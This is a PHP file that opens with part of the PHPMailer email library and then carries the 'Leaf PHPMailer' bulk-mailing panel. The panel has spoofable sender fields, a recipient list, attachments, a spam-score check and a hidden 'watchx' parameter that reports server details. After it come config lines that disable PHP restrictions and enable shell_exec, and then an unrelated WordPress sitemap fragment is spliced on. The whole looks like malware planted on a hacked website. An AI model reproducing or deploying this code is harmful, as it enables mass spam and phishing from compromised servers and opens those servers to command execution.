        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
/**
 * Sitemaps: WP_Sitemaps_Renderer class
 *
 * Responsible for rendering Sitemaps data to XML in accordance with sitemap protocol.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Class WP_Sitemaps_Renderer
 *
 * @since 5.5.0
 */
#[AllowDynamicProperties]
class WP_Sitemaps_Renderer {
	/**
	 * XSL stylesheet for styling a sitemap for web browsers.
	 *
	 * @since 5.5.0
	 *
	 * @var string
	 */
	protected $stylesheet = '';

	/**
	 * XSL stylesheet for styling a sitemap for web browsers.
	 *
	 * @since 5.5.0
	 *
	 * @var string
	 */
	protected $stylesheet_index = '';

	/**
	 * WP_Sitemaps_Renderer constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$stylesheet_url = $this->get_sitemap_stylesheet_url();

		if ( $stylesheet_url ) {
